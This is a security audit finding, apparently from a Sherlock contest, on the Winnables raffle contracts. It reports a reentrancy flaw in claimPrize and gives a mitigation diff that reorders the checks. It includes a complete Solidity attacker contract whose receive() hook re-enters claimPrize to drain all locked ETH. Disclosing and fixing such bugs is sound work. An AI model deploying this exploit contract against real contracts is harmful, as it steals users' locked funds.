Faithful Smoke Hawk

High

# Reentrancy will drain all locked ETH in WinnablesPrizeManager

### Summary

Sending ETH rewards to a smart contract winner may potentially lead to a reentrancy attack and all locked ETH will be drained.

### Root Cause

`claimPrize` function does not follow the CEI(checks-effects-interactions) pattern and lacks a reentrancy guard.
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L317

### Internal pre-conditions

1. Attacker (smart contract) is a winner in a `lockETH` raffle.

### External pre-conditions

1. Attacker use `create2` to deploy smart contract in ethereum and avalanche with same address. The smart contract code is as follows:
```solidity
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.24;

interface IWinnablesTicketManager {
    function buyTickets(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature)
        external
        payable;
}

interface IWinnablesPrizeManager {
    function claimPrize(uint256 raffleId) external;

    function getETHRaffle(uint256 id) external view returns (uint256);
}

contract AttackerContract {
    IWinnablesTicketManager ticketManager;
    IWinnablesPrizeManager prizeManager;

    uint256 public id;

    constructor(address _ticketManager, address _prizeManager) {
        ticketManager = IWinnablesTicketManager(_ticketManager);
        prizeManager = IWinnablesPrizeManager(_prizeManager);
    }

    receive() external payable {
        if (address(prizeManager).balance > prizeManager.getETHRaffle(id)) {
            prizeManager.claimPrize(id);
        }
    }

    function buyTickets(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) external {
        ticketManager.buyTickets(raffleId, ticketCount, blockNumber, signature);
    }

    function claimPrize(uint256 raffleId) external {
        id = raffleId;
        prizeManager.claimPrize(id);
    }
}
```

### Attack Path

1. Attacker call smart contract function `buyTickets` in avalanche
2. Attacker(smart contract) is a winner
3. Attacker call smart contract function `claimPrize` in ethereum

### Impact

All locked ETH are drained.

### PoC

_No response_

### Mitigation

Two ways:
1. follow CEI pattern
```diff
    function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
+       if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
+       if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
+       rafflePrize.status = RafflePrizeStatus.CLAIMED;
        RaffleType raffleType = rafflePrize.raffleType;
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked {
                _tokensLocked[raffle.tokenAddress] -= raffle.amount;
            }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked {
                _ethLocked -= _ethRaffles[raffleId];
            }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        } else {
            revert InvalidRaffle();
        }
-       if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
-       if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
-       rafflePrize.status = RafflePrizeStatus.CLAIMED;
        emit PrizeClaimed(raffleId, msg.sender);
    }
```
2. Add reentrancy guard